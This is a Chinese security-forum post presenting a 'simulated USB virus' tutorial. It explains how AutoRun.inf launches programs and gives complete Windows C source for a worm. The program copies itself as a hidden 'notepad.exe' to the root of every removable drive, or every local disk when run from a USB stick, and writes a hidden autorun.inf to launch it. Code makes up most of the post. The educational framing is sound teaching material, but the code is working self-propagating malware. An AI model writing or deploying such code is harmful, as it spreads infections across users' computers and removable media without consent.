安全矩阵

 找回密码
 立即注册
搜索
查看: 6277|回复: 0

网络安全编程:模拟U盘病毒

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-2-10 22:17:45 | 显示全部楼层 |阅读模式
原文链接:网络安全编程:模拟U盘病毒


1. U盘病毒的原理剖析

U盘病毒的原理主要依赖于AutoRun.inf文件。AutoRun.inf文件最早见于光盘中,它的作用是在载入光盘(或双击具有AutoRun.inf文件光盘的驱动器盘符)时自动运行指定的某个文件。由于它特有的功能和性质,从2006年左右开始,AutoRun.inf文件被利用在U盘和硬盘之间传播木马或病毒程序。

AutoRun.inf类似于.ini文件,其差别在于AutoRun.inf的键名是系统固定的。

这里模拟U盘病毒的AutoRun.inf文件内容如下:


  1. [AutoRun]
  2. open=notepad.exe
  3. shell\open=打开(&O)
  4. shell\open\Command=notepad.exe
  5. shell\explore=资源管理器(&X)
  6. shell\explore\Command="notepad.exe"
  7. shellexecute=notepad.exe
  8. shell\Auto\Command=notepad.exe
复制代码

2. 简单模拟代码实现

模拟U盘病毒只实现一个最简单的功能,就是在移动磁盘(DRIVE_REMOVABLE类型的分区)或本地磁盘(DRIVE_FIXED类型的分区)上创建AutoRun.inf文件,还要将自身复制到相应盘符的根目录下。这就是本程序实现的基本功能。

具体代码如下:

  1. #include <Windows.h>
  2. char szAutoRun[] = "[AutoRun] \
  3. \r\nopen=notepad.exe \
  4. \r\nshell\\open=打开(&O) \
  5. \r\nshell\\open\\Command=notepad.exe \
  6. \r\nshell\\explore=资源管理器(&X) \
  7. \r\nshell\\explore\\Command=notepad.exe \
  8. \r\nshellexecute=notepad.exe \
  9. \r\nshell\\Auto\\Command=notepad.exe";
  10. void infect(char *pszFile, UINT uDriveType)
  11. {
  12.   char szDriveString[MAXBYTE] = { 0 };
  13.   DWORD dwRet = 0;
  14.   DWORD iNum = 0;
  15.   char szRoot[4] = { 0 };
  16.   UINT uType = 0;
  17.   char szTarget[MAX_PATH] = { 0 };
  18.   dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);
  19.   while ( iNum < dwRet )
  20.   {
  21.     strncpy(szRoot, &szDriveString[iNum], 3);
  22.     uType = GetDriveType(szRoot);
  23.     if ( uType == uDriveType )
  24.     {
  25.       // 复制文件
  26.       lstrcpy(szTarget, szRoot);
  27.       lstrcat(szTarget, "notepad.exe");
  28.       CopyFile(pszFile, szTarget, FALSE);
  29.       // 设置 notepad.exe 文件为隐藏属性
  30.       SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
  31.       // 建立 AutoRun.inf 文件
  32.       lstrcpy(szTarget, szRoot);
  33.       lstrcat(szTarget, "autorun.inf");
  34.       HANDLE hFile = CreateFile(szTarget,
  35.       GENERIC_WRITE,
  36.       0, NULL,
  37.       CREATE_ALWAYS,
  38.       FILE_ATTRIBUTE_NORMAL,
  39.       NULL);
  40.       DWORD dwWritten = 0;
  41.       WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL);
  42.       CloseHandle(hFile);
  43.       // 设置 AutoRun.inf 文件为隐藏属性
  44.       SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
  45.     }
  46.     iNum += 4;
  47.   }
  48. }
  49. int main()
  50. {
  51.   // 自身所在地位置
  52.   char szFileName[MAX_PATH] = { 0 };
  53.   // 保存当前文件所在地盘符
  54.   char szRoot[4] = { 0 };
  55.   // 保存磁盘类型
  56.   UINT uType = 0;
  57.   // 获取当前所在完整路径及文件名
  58.   GetModuleFileName(NULL, szFileName, MAX_PATH);
  59.   // 获取所在盘符
  60.   strncpy(szRoot, szFileName, 3);
  61.   uType = GetDriveType(szRoot);
  62.   switch ( uType )
  63.   {
  64.   case DRIVE_FIXED:
  65.     {
  66.       // 如果是在硬盘上就检测一遍是否有移动磁盘
  67.       infect(szFileName, DRIVE_REMOVABLE);
  68.       break;
  69.     }
  70.   case DRIVE_REMOVABLE:
  71.     {
  72.       // 如果在移动磁盘上,则将自己复制到移动磁盘上
  73.       infect(szFileName, DRIVE_FIXED);
  74.       break;
  75.     }
  76.   }
  77.   return 0;
  78. }
复制代码

代码中的思路比较明确,实现也比较简单。需要说明的是,如果U盘病毒在本地磁盘上,就将检索所有的移动磁盘,并建立AutoRun.inf文件和复制自身到移动磁盘,并命名为notepad.exe;如果U盘病毒在移动磁盘上,就检索所有的本地磁盘,并建立AutoRun.inf文件和复制自身到移动磁盘,并命名为notepad.exe。

目前安装的系统(指的是Ghost版的系统,不是原版的系统)都经过了一些设置,可能无法通过AutoRun.inf自动运行,从而导致无法执行模拟程序。





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 20:57 , Processed in 0.015849 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表